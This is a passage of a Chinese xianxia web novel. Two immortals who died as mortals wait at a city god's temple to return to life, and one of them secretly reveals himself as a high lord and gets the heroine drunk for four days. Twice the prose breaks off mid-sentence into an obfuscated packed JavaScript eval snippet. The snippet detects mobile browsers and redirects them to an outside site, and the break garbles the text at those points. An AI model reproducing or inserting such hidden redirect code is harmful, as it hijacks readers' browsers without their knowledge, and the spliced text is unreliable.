语无伦次的辩解,明濡染的提醒,酆小洪的暗示,让第五茗止不住地揉拭眉间,因为连她自己都快不相信刚刚说出口的话了。 她喜欢听故事不假,但当事人亲语,又是三万年前,而最可能在地府做这事的司命,除了她,她也实在想不出还有何人。 第五茗低头承认道:“可能真是我吧…哎…我还不如风有情…可能都是命,我当时即便是司命之仙,现如今看来,也未能帮到他…一簿子既定,生死前途明。” 酆小洪声音悠悠传来,语气十分坚定,道:“上君,勿扰。若是自责未能及时接他上去,现在也不算晚,若是就此替他认命,那也为时过早。我这里倒是想到一个办法,可以让他这次顺利飞天,彻底摆脱厉鬼命。” 第五茗眼眸星碎,重振光泽,道:“真的?什么办法?” 因表现得太积极,她觉得有些不妥,语气一收,矜持道:“我曾是一位极负责任的仙君…” 酆小洪含笑道:“我知道。” 第五茗道:“也从不信命定便不能有所求…” 酆小洪笑意不减,道:“我清楚的。” 刚刚两句太缥缈了,第五茗想了想,继续道:“你也在天做事,也是仙君,当知名声对于我们的重要性…” 眼神巴巴的,希望对方能明白,她没别的意思,只是混口饭吃。 她感同身受道:“没名声,就没功德。没功德,就…很艰难…仙君也在天上谋事,你应该是了解的,我做的这一切,不过都是为了好好地活着,和做人一样,就算很难很难,也要好好活着…” 此话不假,仙君和凡人无异。 酆小洪赞同道:“的确是这样。” 第五茗道:“所以,今日认下这事,我也不是自责,全是为了那名声,和一口饭吃。” 酆小洪道:“此言在理。” 借口和面子都找完了,第五茗道:“所以…仙君的办法是什么?可是你也能收小将了?其实吧,收了他也挺好…书生样弱弱,但手脚麻利好使唤啊。” 酆小洪摇头道:“不是我,是雷部风有情。” 第五茗道:“风有情?” 两人身旁人影又加了一重,阻断了二人的对话。 来人正是常遇春,此时他已穿戴整齐,手中抱着几本册集,走进了才细声柔语道:“找你们二人来,缘是无常埭骰、埭桡出了点差错,你二人阳寿未尽,他二人未核对清楚名册,便笼统之下,把你二人也一起勾了下来。” 他递给二人一本城隍庙内勘核的生册,与另一本亡册,顺带又递送过来埭骰埭桡一路随身携带的地域名册。 命格簿子在司命府生出的时候,便会被司命编纂,分出命格簿子和生、亡二册。 前一份命格簿子,收捡在司命府藏楼内,后两份生亡二册,则下发收录在城隍庙,用于凡人降生和死亡,城隍为其办理人间身份信息和出入地府的通行证明。 酆小洪先一步拿走了地域名册,独留生册和亡册给了第五茗,让她核算二人寿数。 两人还在翻阅,常遇春又继续说道:“但…他二人临危受命,一路辛劳已属不易。如今枉死城被临时用来收容亡魂,本官细细考量后,决定送你们还阳,你二人切莫记恨,在还阳之前若是因鬼魂之身,生出异变,就得不偿失了。” 不愧是得了「宅心仁厚」批语的城隍官,一番话,竟是在为埭骰埭桡两位无常辩解。 倒是省了第五茗的事。 生册和亡册核算下来,两人都还有二十五年寿命,第五茗虽早就知道是这结果,但还是心中一顿:竟是差点连一半都没活到。 第五茗道:“城隍大人打算何时送我们回去呢?” 常遇春道:“需得等上一两日,等鬼道开后,送走一批鬼魂,才有人手送你们二人还阳。” 这时间安排上可有点不好说了,因为只有肉身还在,有阳寿的魂魄要还魂这事才好办。第五茗面上点点头,嘴上不忘叮嘱道:“还是希望城隍大人能尽快安排,这天势,肉身撑不了多久。” 常遇春道:“凌晨时分,鬼道会开一次,本官让埭骰埭桡先入,送完平安村其他人,便回来引你二人回去。” “埭骰、埭桡…二人吗?” 第五茗心中惴惴不安,隐约感觉回去这一路估计也会很艰难。 倒是酆小洪,平静如常,同意道:“这样安排也好,那便如此吧,既然还要等,你这方可有歇脚的地方?” 常遇春道:“有的,厢房虽然已经住满了鬼差,但殿外的亭下可歇脚。” 说罢,他又对一旁候着的明濡染道:“你领他们二人去吧。” 明濡染答道:“是。” 三言两语,这话就被聊完了,第五茗本想再说点什么,酆小洪又率先把手上的地域名册还给了常遇春,第五茗不得不和酆小洪一样归还了手上的册籍,闭了嘴,不好再挑三拣四。 正转身跟着明濡染离开,听见殿外鬼差相互感叹之语,第五茗终还是不甘心地问了一句,道:“万魂过境,以前也有遇见过这种情况,怎么这次会这么严重?人手又为何如此缺乏?” 这话问得逾越了,明濡染知道第五茗身份,所以不觉得奇怪,而常遇春不清楚,他春风拂面的脸,竟有一丝不明所以的沉色。 他不答反问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547193|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你关心这事做何?阳间之人沾染太多地下之气会有损命格,回去之前还是要少看少问为妙,小小鬼魂,这般询问,只会招惹祸端。” 明濡染赶紧撤回步子,走到第五茗身旁,又前倾身子,向常遇春道:“常大人,蒲小明本是仙君历劫化名,此番上君离了肉身,便有了仙界的记忆,您不必疑虑。上君应是关心冥界地府的境况,这才多问了两句。” 又指了指第五茗身旁的蒲小明,他继续介绍道:“这位…也是仙君历劫。” 常遇春喃喃道:“仙君?上君?那终年未能飞升的仙君?” 看了眼酆小洪,最终把目光定在了第五茗这位传奇仙君身上。 百闻不如一见… 他和煦的心境上,难得的多出了一丝波澜。 第五茗尬笑道:“正是。” 顺着明濡染的话,她解释刚刚的贸然行为,道:“我与孟婆雨无伤交好,同城隍大人打听此事,也是想了解一点她的境况。” 话说到此处,常遇春接受得也快,施施然一礼道:“风雨江城隍官常遇春,见过仙君,见过上君。” 酆小洪微微点头,轻抬手腕,道:“无需多礼。” 第五茗笑道:“城隍大人客气了。” 接下来一句话,让在场的人都石化在地。 常遇春客套地问候道:“二位是一起渡情劫吗?可是顺利?埭骰埭桡可因此妨碍了二位姻缘?若是正在阳间拜堂…把红事变白事了,倒真是他两罪孽了,下官先替他们二人向两位赔礼,正如下官刚才所言,他二人上任得急,风雨江又缺人手,也是情急之下…” “打住!” 第五茗脸上白里泛黑,这番话再继续听下去,她估计魂也要没了。 她心中认栽:我清清白白一鬼魂,也就做了一世人,怎的还要让我像风有情一样,得个浪荡名声!! 她急忙道:“刚才在殿外,有小鬼售卖衣裙,因来时所穿衣服太过破旧,我二人便换了一身新衣。我与这位仙君是各自历各自的劫难,他已然渡劫,法力恢复,我呢…照常入六道轮回,继续历劫。” 这回,换常遇春石化在地。 他无意识地道:“的确,平安村新建没多久,当是穷的…这新衣,那小鬼好意赠与,也是一番心意。” 第五茗纠正道:“不是送的,买的买的…我们不欺负小鬼。” 一雷更比一雷大,常遇春这僵化的身躯别想软化了。 他迟疑道:“买…的?” 地府最不喜的就是这太‘吉利’的大红喜服,谁会在做鬼以后买这种衣服啊! 别说常遇春不信,连明濡染也不相信,眼神中透露着鄙夷,一副‘拿了小鬼的东西,敢做不敢认,还是堂堂两仙君’的神情。 第五茗最见不得这种‘污蔑’,极力争辩道:“真是买的,小鬼求我们买的…” 有一道天籁之音传来,站在第五茗这边,不顾他人神色,为她证明道:“的确是我们买的,平安村是穷,但路上本君捡了钱,刚好足够为我二人换一套衣服。” 第五茗:“…” 放屁不比声响,只比味,大概说的就是酆小洪和第五茗现下这般。 仙君捡钱…传出去谁信! 常遇春只能喃喃应付道:“原来如此…” 第五茗脸颊冰凉,脚趾扣地,转移话题道:“城隍大人,我刚刚问你的问题你还没回答呢,为何冥界地府万魂过境,会处理得这般糟糕?” 常遇春正回身姿,解答道:“下官也是听说来的消息,地府现下境况,乃是两界帝君,在对冥界发难。自从新任东岳帝君继位后,天帝对下界之事,便含含糊糊,从不施以援手。这次事发得突然,冥界没有收到预警,突然涌入万魂,踩碎了奈何桥,震裂了孟婆熬汤的大锅,地藏王菩萨的殿宇挤满了鬼,每日能渡之魂便骤然减了下来。” 第五茗皱眉道:“孟婆雨无伤可有受伤?” 常遇春摇摇头,道:“未有关注,也没有听闻。” 酆小洪道:“上君不必担忧,冥界地府有十殿阎罗在,不会有什么大问题,现下的一切也只是暂时的。” 第五茗点点头,思索道:“仙君说的对,其实没有消息就是好消息,真出了大事,这些小鬼早就传开了。” 她又继续向常遇春问道:“新任东岳帝君就没做点什么吗?放任这种情况不管?地府都炸开了锅,他还能安稳高坐?” 常遇春道:“上君有所不知,正是因为帝君有所作为,才让地府有喘息的机会。听说帝君早早下了泰山,和人帝交好,在事发之时,稳定了地府,又和人帝协商出了一个保人界和冥界的法子,先困群鬼于地府,再慢慢引送回人间。” 人间死太多人,对人界来说不是一件好事,因为这意味着势力会被减弱,虽一次水灾造不成多大困扰,但水灾之下是雪滚雪的发展,到一定程度,如果死掉的亡魂没有投生流回人间,越往后,人界便越势弱。 可能想到了什么很重要的一点,常遇春身形微动,面容惆怅,道:“帝君向人帝寻了一人,不…” 刚说出的话,摇摇头,他又自我否定道:“此人更像是帝君向人帝索要来的,听说是位有功德已被点将之人。万鬼之魂,用他血肉烧奉功德,消散鬼怨…以此保幽魂在冥界安生,等候轮回。” 这话中内容分外熟悉,第五茗大吃一惊,道:“难怪风有情弃了琉璃牌楼,原是东岳帝君所为。” 16. 小将未飞三万年2 第五茗的小小呢喃,因为殿外鬼声更甚,除了酆小洪,另外二人无一听见。 明濡染正要对外喝止,倒是门外莽莽撞撞跑进来一鬼差,人还未入殿,大嗓门便一步传进了殿内。 第五茗轻捂双耳,只见那鬼差大吼道:“常大人,鬼道开了!开了!!常大人!” 跑近后,他刹住脚步,气喘嘘嘘,低了两分音量,依旧吼道:“常大人,鬼道开了。” 这鬼差生前就是一个传声筒,声音可谓是醒神,又很震耳。 这几日来了风雨江,常遇春便安排他守在鬼道旁,若是开了便来报,这样常遇春就算把自己压在万重‘高山’之下,也不会耽搁送鬼入地府之事。 常遇春清了清嗓子,声音也跟着高了起来,道:“听见了,你回去继续守在鬼道旁,有什么情况,随时来报。” “是。” 鬼差嘴里答着,眼睛却止不住打量殿内鬼,脚下也挪动得缓慢。 明濡染他认识,但另外二人他没见过,又因对方穿着大红喜服,以为常遇春又犯傻给小鬼做月老,偷看了第五茗和酆小洪两眼,朝常遇春眨了眨眼,大嗓门道:“常大人,你又做媒呢?月老的活这么熟练,这次是不是又要飞天了?” 第五茗和酆小洪听的茫然,只当是鬼差们和这做了三万年的城隍关系熟络,在开玩笑,只有明濡染知道,接下来要有不好的事发生了,赶紧捂住耳朵。 那鬼差停顿一瞬,转头朝大红喜服咧嘴唏嘘,道:“这冥界不喜红色啊,就算成婚,你也该给人准备白衣…你这月老牵线可以,但业务不熟练啊!” 常遇春面红耳赤,语无伦次道:“误会,我没有!” 第五茗恍然大悟,也大声回道:“天大的误会!!我们是来还阳的!!” “…” 唯独酆小洪这位当事人,莫不做声,浅笑地看着抓耳挠腮、慌乱无助的一鬼一城隍。 果然小将随主,一个赛一个的容易害臊。 “哦…我知晓了,知晓了…我不会到处去说的…” 殿内和殿门外,哪还有那小鬼的身影,可这句‘保证之言’却清晰震耳的传入了殿内,可想而知,这鬼差的大嗓门非浪得虚名,而那传话的大喇叭身世,也非作假。 须臾,这殿内殿外便传遍了——城隍大人做月老,撮合小鬼亲事好,大红喜衣穿得妙,还阳恩爱直到老。 城隍殿内实在待不得了,第五茗朝常遇春施了一礼,便埋头往殿外走,嘴里不忘寻求道:“劳烦明濡染大哥帮我们寻一个安静点的亭子,最好看不见鬼,也听不见声音…” “待还阳了便好了,等回去做了人,地下的事便和我没关系了。” 明濡染匆匆对常遇春施下一礼,急忙追赶第五茗,苦恼道:“上君,这城隍庙就一间亭子,在后献殿旁,安静倒是安静,但是真不能保证没有小鬼窜过去,那里可放着信众供上来的吃食,小鬼饿了会来一两趟…这昼夜不休的,肚子要是再填不饱,活儿就真没法干了。” 两人身影越来越远,声音也越来越轻,最后只能在嘈杂的鬼差声中,听见第五茗妥协的话,“这般已经很好了…走走,快点离开这是非之地,我恐鬼…” “…” 第五茗甚至都没注意到,离开城隍殿的只有她和明濡染,酆小洪还笑着站在殿内,目送他们二人离开。 但见二人身影消失,常遇春回过头,才发现酆小洪还在,问道:“仙君不跟去吗?” 酆小洪敛了笑意,正襟侧身,解了腰间悬挂的佩印,逝去障眼之法,向空中抓寻出一张冥钱黄纸,将佩印之纹拓印后,把冥钱黄纸放在了常遇春手中,道:“风雨江城隍常遇春可在?” 通阳太明之印! 一番观摩,常遇春十分确认这东西是真的。 他慌乱抽出腰间玉卷轴,一手奉法器,一手奉冥钱黄纸,大礼跪拜在地,应道:“在!下官拜见帝君。” 酆小洪并未如先前才入殿时那般客气,吩咐道:“持冥钱黄纸,速去办几件事。” 他正声道:“第一件,今日鬼道开启后便不会再关上,本君限你十日之内整理好所有风雨江的事务。” 常遇春应道:“是,下官定会完成。” 酆小洪道:“第二件,十日后,在风雨江边寻一人。” 常遇春问道:“何人?” 酆小洪道:“郤人杰。” 指尖施法,他在常遇春手中的冥钱黄纸上写下了一份「风雨江城隍任命书」,继续道:“把冥钱黄纸交给他,便可离去。记住,一定要在他魂魄离体之前,先把东西给他。” 半晌未有声音传来,原是常遇春打算收捡冥钱黄纸,结果看见了上面的内容,错愕地愣在原地,不知该作何反应。 酆小洪道:“有疑问?” 常遇春道:“帝君恕罪,下官斗胆一问,郤人杰接任风雨江城隍官一职,那下官之后应该去往何处?” 酆小洪答道:“可上天了。” 似乎想到了什么,生硬的语气柔和了几分,他道:“点将你的仙君在为你寻所去之处,你功德法身已圆满,再继续待在下界,实数浪费,也浪费了那位仙君的一片心意。” 常遇春道:“是,多谢帝君。” 酆小洪继续道:“第三件事,这城隍庙内可有茶酒?” 可把常遇春难住了,城隍庙从来供奉的都是人界烈酒。 酒阳性足到可杀小鬼,城隍庙内又多地仙鬼差走动,自然是留不得,都进了守庙人的肚子了。 他为难道:“帝君,庙内没有酒。” 酆小洪仿佛有些着急,吩咐道:“你先立即去地府找几坛雪窖茶酒…” 想了想,他补充道:“年份越久远越好。” 常遇春心中疑惑,也不好说什么,好意提醒道:“帝君…刚渡劫的鬼魂之身,虽受不了阳性之物,但也饮不得太冰的东西。您刚离了肉身,这般喝酒…可是极易伤身的。” 酆小洪道:“无妨,本君自有分寸。今夜见本君之事,不要声张。” 其实,酆小洪也不担心常遇春会四处宣扬,就整理风雨江事务一事,便没有常遇春喘息的机会,更别说有时间和其他小鬼闲聊。 一来二去,等酆小洪拿到茶酒来到亭中时,第五茗已经喝了两三壶雪水解燥脸上的黑色。 第五茗匍匐在石桌上,脸上还有些微微发寒,感觉很是怪异,她便把装水的瓷瓶一边一个地放在脸颊旁,看见酆小洪过来了,无奈地放下了一只,坐起身来,招手道:“仙君…仙君,这儿…你来得太慢了,明濡染去前方引送鬼魂了,他拿来的雪水我一不小心都喝了,仙君要是口渴,我替你去后献殿拿两壶?” 酆小洪道:“不用。” 月色正好,亭周景色也算不错,休憩在此间,倒是神清气爽,第五茗打趣道:“仙君怎么在城隍殿停留了这般久,该不会是和城隍大人在密谋什么事吧?我就说冥界地府这么多事,你渡劫已完,定是忙的才对,果真…忙了吧。” 酆小洪摇了摇头,脸不红心不跳,道:“未密谋,也不忙。” 第五茗也学着摇了摇头,道:“仙君不坦诚啊,隐瞒颇多。” 脚步踟蹰,酆小洪生出一丝犹豫,随后莞尔一笑,道:“对你无所隐瞒。” 第五茗睥睨道:“对我?” 一人抬头审度,一人低头凝视。 低头凝视之人点头应道:“嗯。” 第五茗噗嗤一声,笑道:“对其他人就会藏着掖着?我怎么看着不像啊,平安村土地见你施法后,对你又敬又怕,明显知道仙君是从哪来,身居何处。其他人…可能和我一样,指不被仙君蒙着骗呢。” 酆小洪道:“她应该不知道…我也未蒙骗上君你。” 第五茗道:“骗鬼!我又不是你,生而为人时痴傻,死了做鬼又不坦荡。” 一把抢过站定在桌旁,酆小洪手中的茶壶,第五茗细细查看道:“刚才在殿中,我明明瞧见这茶壶法器在城隍大人的桌案上,这般突兀地出现在你手中,仙君…你该不会趁城隍大人不注意,只是顺了他一壶茶水吧,你要是口渴,又碍于面子去献殿,我都说了我可以去献殿帮你拿几壶雪水…” 手中一空,酆小洪的心倒是安了下来。 原来说的是城隍茶壶之事。 他紧挨着第五茗身旁的石凳坐了下来,笑道:“上君揭开壶盖闻闻便知了。” 幽雅细腻,丰满醇厚…正是第五茗心心念念的东西,她脸上大喜道:“酒?” 石桌上除了几个空的水壶,还有倒扣在盘中的小瓷杯,酆小洪拿了一盏空的放在自己面前,又把第五茗面前放着的一盏早已干涸的杯子拿了过来,从第五茗手中接过茶壶,轻缓倒出两杯茶酒,道:“嗯,城隍给的,有三大坛子,便又借了这城隍茶壶全部装来借花献佛。” 酆小洪推出第五茗用过的杯盏,道:“上君,请。” 第五茗眼含笑,夸赞道:“以前不觉得这茶壶好,现在看着,倒是挺可爱的。” 城隍庙的茶壶,可不是什么好东西。 城隍是地仙,掌管地上一切大小琐事,不如土地辖地小,任务轻,也不如无常鬼差的工作简单,上仙为了让城隍安心处理事务,不仅给了一座设施俱全的殿宇,还备了一个可续池湖之水的茶壶法器,方便城隍口渴时,能有源源不断的茶水可以清神理气。 茶杯壁温润有水汽,第五茗小抿了一口,道:“这酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547194|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …还是温的…” 酆小洪点了点头,道:“凉茶沁人,热酒驱鬼,上君魂魄刚离□□,受不了极寒,也忍不了极阳,我便自作主张,把雪窖茶酒温热了两分。” 一口饮下,只有余香,和熟悉的头脑昏涨,第五茗满意道:“仙君何必这么麻烦,我是鬼,鬼自然是是要吃凉的,而且这点寒气哪有地狱之冷深,这点…我受得住的。这杯茶酒倒是和以前喝过的有相似之处,我做司命那会儿,倒是有点不喜冷,最喜欢把雪窖茶酒温热后再饮。” 她把空下的杯盏推了回去,示意酆小洪满上,对方好似沉思在自己的思绪中,没注意到这一幕,第五茗馋虫被勾引出来了,想着酒是对方讨过来的,便也不生气,一手拿回杯盏,一手提走酆小洪面前的茶壶,自己给自己满满倒上了一杯。 一杯一杯地饮着,她也没工夫说话。 良久,酆小洪唤道:“上君…” 第五茗一边自己灌着自己,一边应道:“嗯,怎么了?” 酆小洪道:“你刚刚所言,不对。” 这酒清冽,喝时没感觉,但数杯下肚后,竟十分上头,第五茗扶额道:“哪里不对了?” 手中杯盏紧握,酆小洪道:“你不是…” “不是什么…” 第五茗飘飘欲仙,脸上白里见了点血色,神情愉悦,仿若在梦境,说话却条理清晰,一语点破道:“不是小鬼?仙君也在意这种说法?我还当泰山上的仙和天庭的仙是有区别的,小鬼又如何,上仙又如何,谁的身份又能高过谁呢?谁又不能有机会…” 她晃了晃手中酒水,清泉入口,享受道:“谁又不能有机会尝一口呢?这茶酒都没嫌弃我…我也没嫌弃它,这就极好了。” 酆小洪道:“是我谬言了。” 前一刻,还有些自责,下一刻,见第五茗手中迟缓下来的动作,面容深挚,他刻意道:“上君刚脱离□□,少饮半杯,去去寒即可,切勿多饮。” 也不知是真心,还是假意,反正饮酒的第五茗最不喜欢别人劝解,懂她的人,都知道她饮酒时的这个小习惯,越是劝解,她反而心中越是想忤逆,手中动作不止,频频倒起酒来,道:“多谢关心,我知晓的…仙君,勿劝。” 推杯至盏,第五茗彻底迷糊起来。 酆小洪状似无意道:“上君,你是不是对小鬼都会这般好?” 第五茗答道:“对…对谁好了?我从不对谁好。” 她“噌”的一下,凑在装杯盏的盘子面前,用手指,一个一个地点着,复述道:“你们说…我…我对…谁好了…” 提起其中一盏,她道:“是…你?” 摇摇头,放了回去,她道:“不对…” 又拿起一个,她问道:“那…是你?” 又摇摇头,她否定道:“不…像啊,这么…丑…我只…只喜欢乖巧又漂亮的…” 拿了放,放了拿,一轮又一轮,她脑袋晕晕,想起问话的人就在面前,一手托着脑袋,一手持拿杯盏,道:“你问的,你来答。” “咕咚”一杯又下了肚。 酆小洪浅笑,学着第五茗从盘中拿出一盏瓷杯,细细数道:“无常埭骰埭桡…” 又拿出一盏,他嫉妒道:“城隍常遇春…” 再拿出一盏,他眼中满是羡慕道:“孟婆雨无伤…” 盘中只剩两盏,这次全部拿出来以后,他才点数道:“平安村村民和风雨江亡魂…” 第五茗皱眉,道:“有…吗?我…没有…那不过是肤浅的社交,不算不算…” 身子晃晃荡荡,摇摇欲坠,她询问道:“这酒…怎么和以前雨无伤给的茶酒喝着不…不一样,似阳间烈酒般,醉人,贪嘴…嘴了?” 酒气飘香四溢,千年的雪窖茶酒,本就是阳间烈酒封存于寒冰中千年,只为了去除阳气,这和普通的雪水兑酒不同,同样是鬼能受得住的酒水,可一个是为了让不听话小鬼沉睡的秘药,一个是解瘾解馋的吃食。 茶壶中三大坛茶酒,第五茗未饮掉五分之一,便已醉得一塌糊涂。 她耳边还有声音,“三宫九府的十七只…” 眼神迷蒙,她隐约见酆小洪把空出来的盘子向前推了两分,嘴里和刚才一般在细数什么,她却听不清,一头栽倒,舌尖舔舐唇边酒渍。 再瞧她对面之人,神色如常,红袖扫过,茶壶和杯盏均从桌上消失了踪影,连带着空气里的酒气也荡然无存。 酆小洪走到第五茗身旁,打横抱起了她,闪身便到了常遇春临时收拾出来的厢房之内,一边为人掖好被子,贪婪地看着床上的人,一边道:“上君,你先好好睡一觉。” 说完,他不舍地收起目光,双手十指紧紧攥握,走至外间盘坐静心。 17. 消怨消怒烧功德1 这一觉,第五茗睡得十分舒心。悠悠醒转过来时,发现自己躺在软塌之上,她猜想,这可能是醉酒后,城隍大人的安排。 既不惊慌也不张惶,泰然自若地四处打量,瞅见屏风上隐约的一道身影,她精神一抖,盯着那影子上和她一样,透露着不和谐的‘吉利’红。 好半晌,她才蠕动嘴唇,朝外间试探道:“仙君?” … 没有听见回应? 她继续询问道:“外间可是和我一同来的仙君?” … 无声无息,第五茗有些纳闷了,这轮廓明明瞧着就是同酆小洪一模一样,但对方却跟没听见一样,一直没有回复。她只好下榻,准备走过来瞧瞧。 刚穿上鞋履,便听到熟悉的男子声音,道:“上君可是醒了?” 第五茗绕屏风而出,道:“醒了有一阵了,仙君刚才是…” 酆小洪整理好衣襟,站了起来,神色自若道:“入定了片刻。” 入定就是‘睡觉’,是非人的生灵,在一边睡觉一边修炼。 这种修行较苦修轻松一些,收获也要少很多,所以修行者一旦有空暇时间,便会入定。 第五茗“哦”了一声,一边伸着懒腰,一边迷迷糊糊道:“我睡了很久吗?可是有半日了,瞧门外虚景中的天色都亮了。” 对于酒量,她还是很有信心,这句话,不过是因为二人独处一间房内,避免太过安静,两厢落入尴尬的境地,她随意说说的。 酆小洪却摇头道:“上君醉酒,四日有余。” 想了想,他又继续说道:“黑白无常来寻过几次,我见上君醒不过来,便自作主张让他们等着了。” “四日啊…” “四日!!” 第五茗紧张起来,焦急道:“快快快…仙君啊,你应该叫醒我的,这怕是要误了我们还阳。快快快!!!我们快些找埭骰埭桡大哥赶紧上路。” 嘴上一边紧着这重要的事,她心里也不忘吐槽:四日!开什么玩笑,做仙做鬼几万年,从未醉酒超过半日,怎么可能睡这么久!!绝对不是我酒量小了,肯定是有小鬼下药了…三界第一酒量,怎么可能睡过去!! 突然,第五茗似想起什么,质问道:“仙君这几日没醉酒?常大人献的什么酒?我记得仙君也有喝不少来着。” 酆小洪一脸坦然,回忆道:“没有醉酒,身体也并没有反应,我除了感觉那酒越喝越凉沁,尝在嘴里,和地府常见的茶酒倒是并无二异。” 细细回想,的确那酒后来除了越来越凉,并没有什么奇怪之处。 第五茗推门而出,嘴上埋怨道:“也是,你法力都恢复了,一点小酒,怎么会醉。我这身体,做了一世凡人,却是越来越差劲儿了…这常大人真是误事啊。” 闻言,跟在身后的酆小洪状似无意道:“他可能不知上君体质,只当是上界来的仙君,便把最好的供奉了出来。” 这话一出,第五茗面上疑虑少了两分,点了点头表示认可,在院子里搜寻起埭骰埭桡的身影。 她道:“无常大哥们呢?你不是说他们在外间等候吗?” 酆小洪道:“应该是在牌楼处。近几日鬼道大开,有些忙碌,多半在帮忙。” 如他所言,埭骰埭桡的确正在鬼道前站着。 二人帮忙维持着小鬼秩序,明濡染也在那方忙着。 现下,牌楼外不似刚进来时热闹,鬼道开后未再关闭,鬼魂能如常被接进地府,那片空虚之地游荡的鬼魂,开始跟着带他们而来的无常指示,一列又一列地按照排号顺序比肩相邻站着。 鬼影挪动,倒都换了一批,第五茗眼前所见,都是陌生不熟悉的面容,且都没有焦急之色,也没了先前那批鬼魂的‘热情’。 一队小鬼自埭骰埭桡的引导下,跟随前方用通冥牌开路的无常,进入了鬼道。 而另一边石狮旁,忙碌的明濡染眼观六路耳听八方,先埭骰埭桡二人,看见了掩盖在小鬼群影下的第五茗和酆小洪。 他提步上前,问候道:“见过仙君、见过上君,上君酒醒了?” 第五茗尴尬道:“你也知道我醉酒了?” 明濡染点点头道:“听两位无常提起过。” 他继续感叹道:“常大人这方的酒,听几位常来的嗜酒鬼差讲过,大多是烈酒,上君此次会醉酒也不甚奇怪。” 地下小鬼们喜欢把除开茶酒以外的酒,不分种类,称之为烈酒。 乍一听,第五茗有些诧异,道:“这城隍庙供奉的是阳酒?” 明濡染答道:“嗯,阳酒基本进了守庙人的肚子,常大人又不喜欢饮酒,其他的酒,就窖藏起来,但基本都是烈酒,酒性不低。” 第五茗喃喃道:“可我喝得是茶酒…” 酆小洪见事有漏迹,争辩道:“庙宇之内,不受供奉,便就没有烈酒以外的酒?再有,常遇春不喜酒,是他亲口告诉你的?” 听得明濡染浑身一怵,有种说错话的局促,口吃道:“倒…倒也不是,常大人的事,我也不是很清楚,都是道听途说,道听途说…” 身旁的酆小洪十分不对劲,他神识回来这几日,第五茗明显感觉到他是那种事不关己,绝不插手的人,别说是反驳他人。 此时行为,显得尤为异常,似风雨江城隍庙存烈酒这事他好像事先就知道,常遇春不喜酒这事他好像也知情。 可为什么不好好掩藏呢? 酒是他送来的,她醒来后就已经开始怀疑他了,现下这话,立场实在没道理。 第五茗心中有疑惑,但也只是偷瞄了酆小洪两眼,计量几许,她对明濡染嘻嘻笑道:“指不定是这几日劳累,常大人买了茶酒解乏也说不定。” 明濡染手中握紧册子,偷偷打量酆小洪,道:“有可能,虽听说常大人不喜欢喝酒,但也没听说他不饮酒。” 随即,脑海中转悠着第五茗道的那句话,他倏地反应过来,指着第五茗,道:“上…上君是饮茶酒醉了四日??!!您…酒量这么差了吗?” 眼睛滴溜溜转动,毫不避讳地,他上下审度起面前这尊仙君历劫之身。 这话中‘差’,指的不是酒量,而是指第五茗的身体差。 茶酒,在冥界是评量一只鬼身体的标准之一。 醉茶酒后一刻内醒来,这小鬼就是‘状元’,体质最好。 鬼差尤为偏爱这类身强体魄的小鬼,偶尔会赠送一些公活,让小鬼们去得一些机缘。 醉茶酒后一时内醒来,也算是个‘榜眼’。 滞留在地府的小鬼,也会按身体拍辈,这类小鬼,除了状元可以欺负,没有小鬼会去找他们的麻烦,投胎之路亦不受鬼差困扰,一趟地下之行会走得轻轻松松。 以此类推,往后还有‘探花’、‘进士’、‘会元’… 最后是‘秀才’。 在冥界地府,醉茶酒三日及以上才醒来的小鬼,便只得一个‘秀才’。 这类小鬼,能投胎做个正常人已是不易,更不要遑论其他的事。 四日醉睡,不怪明濡染会有如此大的反应,第五茗仙君历劫身,俨然都不如地府的一个小鬼秀才。 但他那行为,却是实打实地有点不礼貌。 明濡染也知道自己反应过激了,双手立即捂上嘴,又腾出一只手捂住眼睛,可是已经迟了,对面酆小洪凝眸深思,指了指阶下鬼影,打断道:“闲话少说,手中事务要紧。” 神格尚在,酒中的丝丝影响都扛不住,不管是在天上还是地下,都是件很没面子的事。 身为当事人,思来想去,第五茗仍是觉得有些丢脸,顺着酆小洪话,急忙道:“明濡染…我看你挺忙的,你要不先忙着?我们二人要寻无常大哥去还阳,你别拉着我们闲聊了,好吗?” 明濡染窘态之至,断断续续道:“好…好啊。” 踱步回了那石狮子旁,他心有余悸,继续点名造册。 第五茗和酆小洪脸色各异,也朝另一边走去。 二人去往的正是埭骰埭桡所在的方向。 第五茗一边走,一边暗中观察那二人。 比之前几日,他们业务熟稔不少,第五茗悬着的心,沉落下来,夸赞道:“埭骰大哥进步神速,埭桡大哥也一日千里啊,这庙内之事竟都能安排得妥妥当当了。” 双手向前一礼,她摆脱道:“业务已熟,可否尽快领我二人还阳呢?” 埭骰见到第五茗,喜出望外道:“你醒了?” 第五茗点了点头,倒是埭桡,一脸警惕地盯着酆小洪,又煞有介事地把热情的埭骰拉到了身后,对面前二人,道:“我们兄弟二人交接一番手上的事务,便立即送你们回去。” 虽是吃惊埭桡的态度,第五茗还是恭恭敬敬道:“多谢,烦请二位尽快。这耽搁了四日,我心中恐忧肉身有变。” 埭骰在埭桡身后接话道:“小明你别担心,我马上就送你们回去。” 埭桡回身瞪了埭骰一眼,把手上的册子塞进对方手里,催促道:“你去把东西交给明濡染,我来为他们二人上锁链。” “哦”了一声,埭骰面上不舍地独自朝一旁走去,交接手上的公文。 这方,酆小洪上前挡在第五茗和埭桡之间,凝视着埭桡手中刚召出来的索命钩,发问道:“上锁链?” 